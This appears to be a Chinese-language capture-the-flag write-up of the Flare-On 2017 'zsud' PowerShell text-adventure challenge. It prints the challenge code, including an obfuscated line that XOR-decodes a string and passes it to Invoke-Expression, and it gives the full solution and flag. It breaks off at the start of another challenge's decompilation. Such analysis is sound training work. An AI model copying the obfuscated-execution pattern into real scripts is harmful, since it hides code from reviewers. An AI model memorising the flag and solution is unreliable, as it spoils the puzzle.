$al = [System.Collections.ArrayList]($container_old.Contents)
$al.Remove($thing)
$container_old.Contents = @($al)
$container_new.Contents += $thing
$ret = $true
if (($thing.Keywords -Contains "key") -and ($container_new -eq $script:char)){
${Msv`c`RT}::("{1}{0}"-f 'rand','s').Invoke(42)
}
}
return $ret
}
function Invoke-Say($char, $room, $trailing) {
$resp = "It doesn't talk back"
$ar = $trailing.Split()
if ($ar.Length -lt 2) {
return "Syntax: say <someone> <words...>"
}
$to_whom = $ar[0]
$words = $ar[1..99999]
$thing = Get-ThingByKeyword $room $to_whom
if ($thing.Name -eq "Kevin Mandia") {
$resp = "Kevin says a friendly 'hello' and then looks back down at his computer. He's busy turbo-hacking."
$key = Get-ThingByKeyword $room 'key'
$helmet = $null
foreach ($thing in $char.Wearing) {
if ($thing.Keywords -contains "helmet") {
$helmet = $thing
}
}
if (($key -ne $null) -and ($helmet -ne $null)) {
$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = New-Object System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($key.Desc)))
$Data = [System.Convert]::FromBase64String("EQ/Mv3f/1XzW4FO8N55+DIOkeWuM70Bzln7Knumospan")
$Key = [System.Text.Encoding]::ASCII.GetBytes($hash)
# Adapated from the gist by harmj0y et al
$R={$D,$K=$Args;$H=$I=$J=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
$x = (& $r $data $key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
$resp = "`nKevin says, with a nod and a wink: '$x'."
$resp += "`n`nBet you didn't know he could speak hexadecimal! :-)"
}
}
return $resp
}
function Invoke-GetThing($char, $room, $trailing) {
$resp = ''
$container = $null
$ar = $trailing.Split()
if ($ar.Length -gt 2) {
return "Syntax: get thing [container]"
}
$wanted = $ar[0]
$containername = ''
if ($ar.Length -eq 2) {
$containername = $ar[1]
}
if ($containername -ne '') {
$container = Get-ThingByKeyword $room $containername
if ($container -eq $null) {
$container = Get-ThingByKeyword $char $containername
}
if ($container -eq $null) {
return "There is no $containername to get a $wanted out of."
}
$thing = Get-ThingByKeyword $container $wanted
if ($thing -eq $null) {
return "There is no $wanted in the $containername."
}
$ret = Invoke-TransferThing ([ref]$container) ([ref]$char) $thing
if ($ret -eq $true) {
$thing.Hidden = $false
return "You get $($thing.Name)."
} else {
return "You can't get $($thing.Name)."
}
}
$thing = Get-ThingByKeyword $room $wanted
if ($thing -eq $null) {
$thing = Get-ThingByKeyword $char $wanted
if ($thing -ne $null) {
$resp = "You already have that"
} else {
$resp = "You don't see that here."
}
} else {
$ret = Invoke-TransferThing $room $char $thing
if ($ret -eq $true) {
$thing.Hidden = $false
$resp = "You get $($thing.Name)."
} else {
$resp = "You can't get $($thing.Name)."
}
}
return $resp
}
function Invoke-XformKey([String]$keytext, [String]$desc) {
$newdesc = $desc
Try {
$split = $desc.Split()
$text = $split[0..($split.Length-2)]
$encoded = $split[-1]
$encoded_urlsafe = $encoded.Replace('+', '-').Replace('/', '_').Replace('=', '%3D')
$uri = "${script:baseurl}?k=${keytext}&e=${encoded_urlsafe}"
$r = Invoke-WebRequest -UseBasicParsing "$uri"
$decoded = $r.Content
if ($decoded.ToLower() -NotContains "whale") {
$newdesc = "$text $decoded"
}
} Catch {
Add-ConsoleText "..."
}
return $newdesc
}
function Invoke-MoveDirection($char, $room, $direction, $trailing) {
$nextroom = $null
$movetext = "You can't go $direction."
$statechange_tristate = $null
$nextroom = Get-RoomAdjoining $room $direction
if ($nextroom -ne $null) {
$key = Get-ThingByKeyword $char 'key'
if (($key -ne $null) -and ($script:okaystopnow -eq $false)) {
$dir_short = ([String]$direction[0]).ToLower()
${N} = ${sC`Ri`Pt:MS`VcRt}::("{1}{0}" -f'nd','ra').Invoke() %6
if ($directions_enum[$dir_short] -eq ($n)) {
$script:key_directions += $dir_short
$newdesc = Invoke-XformKey $script:key_directions $key.Desc
$key.Desc = $newdesc
if ($newdesc.Contains("@")) {
$nextroom = $script:map.StartingRoom
$script:okaystopnow = $true
}
$statechange_tristate = $true
} else {
$statechange_tristate = $false
}
}
$script:room = $nextroom
$movetext = "You go $($directions_short[$direction.ToLower()])"
if ($statechange_tristate -eq $true) {
$movetext += "`nThe key emanates some warmth..."
} elseif ($statechange_tristate -eq $false) {
$movetext += "`nHmm..."
}
if ($script:autolook -eq $true) {
$movetext += "`n$(Get-LookText $char $script:room $trailing)"
}
} else {
$movetext = "You can't go that way."
}
return "$movetext"
}
function Get-ThingsText($room) {
$thingstext = Get-ContentsText $room.Contents
if ($thingstext -ne '') {
$thingstext = "`n`nYou see: $thingstext"
}
return $thingstext
}
function Get-ExitsText($room) {
$exitstext = ''
if ($room.Exits.N -ne $null) { $exitstext += "North "}
if ($room.Exits.S -ne $null) { $exitstext += "South "}
if ($room.Exits.E -ne $null) { $exitstext += "East "}
if ($room.Exits.W -ne $null) { $exitstext += "West "}
if ($room.Exits.U -ne $null) { $exitstext += "Up "}
if ($room.Exits.D -ne $null) { $exitstext += "Down "}
if ($exitstext -ne '') {
$exitstext = "`n`nExits: $exitstext"
}
return $exitstext
}
function Get-ContentsText($container, [Switch]$OneLine=$false) {
$resp = ''
$spacer = ' '
$sep = ''
$lf = "`n"
if ($OneLine -eq $true) {
$spacer = ''
$sep = ', '
$lf = ''
}
foreach ($thing in $container) {
if ($thing.Hidden -eq $false) {
if ($resp -eq '') {
$resp = "$lf$spacer$($thing.Name)"
} else {
$resp += "$lf$sep$spacer$($thing.Name)"
}
}
}
return $resp
}
function Get-ThingDesc($thing, [Switch]$OneLine=$false) {
$desc = ''
if ($thing -ne $null) {
$desc = $thing.Desc
if ($desc.Length -gt 1024) {
$desc = $desc.Substring(0, 1023) + "..."
}
if ($thing.Container -eq $true) {
$contents = Get-ContentsText $thing.Contents -OneLine:$OneLine
if ($contents -ne '') {
$desc += " It has $contents."
}
}
}
return $desc
}
function Get-LookText($char, $room, [String]$at) {
$looktext = ''
if ($at.Length -gt 0) {
if ( $script:directions -contains $at.ToLower() ) {
$dirname = $at.ToLower()
if ($directions_short.ContainsKey($dirname)) {
$dirname = $directions_short[$dirname]
}
$preposition = $prepositions[$dirname]
$looktext = "There is nothing $preposition here."
$adjoining = Get-RoomAdjoining $room $at
if ($adjoining) {
$preposition = $preposition.substring(0, 1).ToUpper() + $preposition.substring(1)
$name = $adjoining.Name.ToLower()
$looktext = "$preposition here is $name"
}
} else {
$thing = Get-ThingByKeyword $char $at
if ($thing -ne $null) {
$looktext = Get-ThingDesc $thing -OneLine
}
if ($looktext -eq '') {
$thing = Get-ThingByKeyword $room $at
if ($thing -ne $null) {
$looktext = Get-ThingDesc $thing -OneLine
}
}
}
} else {
$exits = $(Get-ExitsText $room)
$things = $(Get-ThingsText $room)
return "$($room.Name)`n$($room.Desc) $things $exits"
}
if ($looktext -eq '') {
$looktext = "You don't see that here."
}
return $looktext
}
function Invoke-HandleMove($sender, $e) {
if ($e.KeyCode -eq 'Enter')
{
$cmd = $sender.Text
foreach ($mv in $cmd.Split(",")) {
Invoke-Move $script:char $script:room $mv.Trim()
}
$sender.Text = ''
$e.SuppressKeyPress = $true
}
if ($e.KeyCode -eq 'Escape')
{
$script:window.Close()
} elseif ($e.KeyCode -eq 'Up') {
$script:input.Text = $script:lastcmd
}
}
################################################################################
# Script
################################################################################
[void]([System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'))
[void]([System.Reflection.Assembly]::LoadWithPartialName('System.Drawing'))
$msgBox = [System.Windows.Forms.MessageBox]
$window = New-Object System.Windows.Forms.Form
$window.Size = New-Object System.Drawing.Point(800, 670)
$window.Text = "FLARE SUD v2.4 - Escape Room"
$bmp = New-Object System.Drawing.Bitmap(64,64)
$g = [System.Drawing.Graphics]::FromImage($bmp)
$mode = [System.Drawing.Drawing2D.FillMode]::Alternate
$p0 = New-Object System.Drawing.PointF(31, 0)
$p1 = New-Object System.Drawing.PointF(10, 44)
$p2 = New-Object System.Drawing.PointF(21, 44)
$p3 = New-Object System.Drawing.PointF(12, 63)
$p4 = New-Object System.Drawing.PointF(38, 36)
$p5 = New-Object System.Drawing.PointF(24, 36)
$p6 = New-Object System.Drawing.PointF(32, 19)
$p7 = New-Object System.Drawing.PointF(44, 44)
$p8 = New-Object System.Drawing.PointF(54, 44)
$p9 = New-Object System.Drawing.PointF(31, 0)
$a_shape = ($p0, $p1, $p2, $p3, $p4, $p5, $p6, $p7, $p8, $p9)
$a_color = [System.Drawing.Brushes]::LightBlue
$g.FillPolygon($a_color, $a_shape, $mode)
$ico = [System.Drawing.Icon]::FromHandle($bmp.GetHicon())
$window.Icon = $ico
$console = New-Object System.Windows.Forms.RichTextBox
$console.Size = New-Object System.Drawing.Point(780, 590)
$console.ReadOnly = $true
$console.Font = "Consolas, 12"
$console.BackColor = 'Black'
$console.ForeColor = 'YellowGreen'
$input = New-Object System.Windows.Forms.TextBox
$input.Size = New-Object System.Drawing.Point(800, 40)
$input.Location = New-Object System.Drawing.Point(1, 595)
$input.ShortcutsEnabled = $true
[System.Windows.Forms.Application]::EnableVisualStyles()
$input.add_KeyDown([System.Windows.Forms.KeyEventHandler]{param($s,$e) Invoke-HandleMove $s $e})
$window.Controls.Add($console)
$window.Controls.Add($input)
$autolook = $true
$char = New-Char
$map = Get-Map
$room = $map.StartingRoom
$baseurl = 'http://127.0.0.1:9999/some/thing.asp'
$directions = @('n', 'north', 's', 'south', 'e', 'east', 'w', 'west', 'u', 'up', 'd', 'down')
$directions_short = @{'n' = 'north'; 's' = 'south'; 'e' = 'east'; 'w' = 'west'; 'u' = 'up'; 'd' = 'down'}
$directions_enum = @{'n' = 0; 's' = 1; 'e' = 2; 'w' = 3; 'u' = 4; 'd' = 5}
$prepositions = @{'north' = 'north of'; 'south' = 'south of'; 'east' = 'east of'; 'west' = 'west of'; 'uu' = 'above'; 'down' = 'below'}
[String]$key_directions = ''
$lastcmd = ''
function Start-Game {
$script:window.Activate()
$script:input.Focus()
# Shout-out to Stonekeep, Tenchi, and the 414
$dialstring_hayes_compatible = "ATDT 14141111111........."
$telnet_string = "jgsdos.flare-on.com 5000"
Add-ConsoleText $dialstring_hayes_compatible
Add-ConsoleText $telnet_string
Add-ConsoleText "Connected to ${telnet_string}`n"
Add-ConsoleText "${logo}`n`nYou are in $($room.Name). Try looking around."
}
$okaystopnow = $false
$window.Add_Shown({Start-Game})
$window.BringToFront()
[STring]::joIN( '', ('35h88w112_119}81r74r77h100J94<57J57%73%108Z106U77r43Z35r36U36%35r47}35r43Z35w43Z50Z51<51w50h51h51w35%47h50Z50J50Z50U51}50r50}47h50h51r51Z50r50r51r50_35%47Z35_50J50U50h51r51h50%50h35%47%35J50Z50r50J51r50}50Z51w35_47w35h50}50h51U51J51}51h51}35<47_50r51%51r51U51U50_50h35}47U50w50r51r51h51U51%51J35<47h50r51r50<51U51_50w51_47r50r50%50J51J50%51}51}47}35<50U50_50J50_50h51w50h35_47<35U50%51%51U51Z51J51U47h50<50J50Z50<51h50Z35w47_50}51Z51w51w51<51Z47U50r51_51r50}50<51Z35r47w50w51%50%51h51h51r47r35%50U51Z51U51h50h51<47r50w50Z50h50J51w50}50U47_35h50}50%51%51U50_50U35h47h50<50h50%50<50<51Z50}47Z35_50J50<50}50Z51U50U50w47<50_50Z51}51U51r51_35}47%35r50r50}50%50Z50U51%50Z35Z47_50r50r50U50r51w50_50J35%47J50%50_51h51_51<50r35J47%50%50r50U50U50<51w50U47<50<50r50%50%51w50r50%47J50<50<51r51U50w51_47_50<50<50U50<50_51Z50h47}50h51r51_51%50%51_35h47U35Z50U51J50}50Z51Z50%35r47w50U50<51_51_50<50}51r47_50w51w51J51r51Z51Z47<50r51%51_50r50w50w35<47h35}50}50h50r51r50_51r51h47w50w51J50r50h51U50h35h47h50<51U51%50w50_50w35<47_50%51U50J50h51h51Z47_35%50w51<51U50r50J50U47J35h50%50U51w50%50Z51<50h47w35U50U50%50U51<51%50<50w35r47}50h50_50<51w50<50h51r47}50_51%51h50J50J50h47%35_50U51_50U50r51<51J47_35%50U51_51}50%50r50Z47w35Z50r50%51<51w51U50_50h35}47<50_50h50<51<51U50%51r35w47U35Z50<50Z50}51<50_51}51w35<47Z35w50U51}51J50U50<50J35%47w35Z50h51w50%50w51Z51r35<47%50%51h51w50Z50%50_35U47U50<51r51h51r50}50Z50%35w47w35}50Z50r51U51Z50h51%50r47w35w50_51U51%50J50_50%47Z50}51}50%51<51_50Z42w35h127U101}76Z81<70<66r64U107}120U35h43h35_88r96%108r77r117J102J81w119r94J57Z57h119r76w74Z109_119U50h53w43Z43_88h80J87r113r74%109}68U94w39w92h35r42h35J47h35%49w35J42w46<98%80U88r96}107J66J81r94h42<35_126U42}35Z42J35J127<35%74_102_123'.split( '<Uh}Z%w_Jr')|%{[CHAR]($_ -BXoR 0x03 ) } ) )|.( $ShelliD[1]+$SheLLID[13]+'X')
$ret = $window.ShowDialog()
根据这一段
$key = New-Thing "some_thing" @("key")
$drawers = New-Thing "the desk drawers" "The drawers are mostly empty, except the bottom-right drawer which contains some junk." @("drawer", "drawers", "desk drawer", "desk drawers") -Hidden -Fixed -Container -Contents @($key)
可知抽屉里面有key
需要一直按顺序走,顺序在这里
$directions = @('n', 'north', 's', 'south', 'e', 'east', 'w', 'west', 'u', 'up', 'd', 'down')
$directions_short = @{'n' = 'north'; 's' = 'south'; 'e' = 'east'; 'w' = 'west'; 'u' = 'up'; 'd' = 'down'}
$directions_enum = @{'n' = 0; 's' = 1; 'e' = 2; 'w' = 3; 'u' = 4; 'd' = 5}
因为程序hook了rand,所以产生了这个序列
.data:00459CB8 dword_459CB8 dd 3 ; DATA XREF: .text:0040710E↑r
.data:00459CBC db 0
.data:00459CBD db 0
.data:00459CBE db 0
.data:00459CBF db 0
.data:00459CC0 db 0
.data:00459CC1 db 0
.data:00459CC2 db 0
.data:00459CC3 db 0
.data:00459CC4 db 2
.data:00459CC5 db 0
.data:00459CC6 db 0
.data:00459CC7 db 0
.data:00459CC8 db 2
.data:00459CC9 db 0
.data:00459CCA db 0
.data:00459CCB db 0
.data:00459CCC db 1
.data:00459CCD db 0
[3, 0, 0, 2, 2, 1, 1, 1, 0, 2, 3, 0, 2, 2, 3, 3, 3, 5, 4, 0, 5, 4, 0, 5, 4, 0, 1, 4, 0, 2, 4, 0, 1, 2, 3, 5, 4, 0, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 5, 4, 0,]
"w, n, n, e, e, s, s, s, n, e, w, n, e, e, w, w, w, d, u, n, d, u, n, d, u, n, s, u, n, e, u, n, s, e, w, d, u, n, s, e, w, s, e, w, s, e, w, s, e, w, d, u, n"
走完了需要去找kevin
function Invoke-Say($char, $room, $trailing) {
$resp = "It doesn't talk back"
$ar = $trailing.Split()
if ($ar.Length -lt 2) {
return "Syntax: say <someone> <words...>"
}
$to_whom = $ar[0]
$words = $ar[1..99999]
$thing = Get-ThingByKeyword $room $to_whom
if ($thing.Name -eq "Kevin Mandia") {
$resp = "Kevin says a friendly 'hello' and then looks back down at his computer. He's busy turbo-hacking."
$key = Get-ThingByKeyword $room 'key'
$helmet = $null
foreach ($thing in $char.Wearing) {
if ($thing.Keywords -contains "helmet") {
$helmet = $thing
}
}
if (($key -ne $null) -and ($helmet -ne $null)) {
$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = New-Object System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($key.Desc)))
$Data = [System.Convert]::FromBase64String("EQ/Mv3f/1XzW4FO8N55+DIOkeWuM70Bzln7Knumospan")
$Key = [System.Text.Encoding]::ASCII.GetBytes($hash)
# Adapated from the gist by harmj0y et al
$R={$D,$K=$Args;$H=$I=$J=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
$x = (& $r $data $key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
$resp = "`nKevin says, with a nod and a wink: '$x'."
$resp += "`n`nBet you didn't know he could speak hexadecimal! :-)"
}
}
return $resp
}
戴上头盔并且放下钥匙即可
即https://0xd13a.github.io/ctfs/flareon2017/zsud/
n,get key drawers,w,n,n,e,e,s,s,s,n,e,w,n,e,e,w,w,w,d,u,n,d,u,n,d,u,n,s,u,n,e,u,n,s,e,w,d,u,n,s,e,w,s,e,w,s,e,w,s,e,w,d,u,n,l key,n,w,n,n,e,e,n,get helmet,wear helmet,drop key,say kevin hi
得到
6D 75 64 64 31 6E 67 5F 62 79 5F 79 30 75 72 35 33 6C 70 68 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D
mudd1ng_by_y0ur53lph@flare-on.com
首先upx脱壳
IDA打开,主函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *v5; // [esp+4h] [ebp-8h]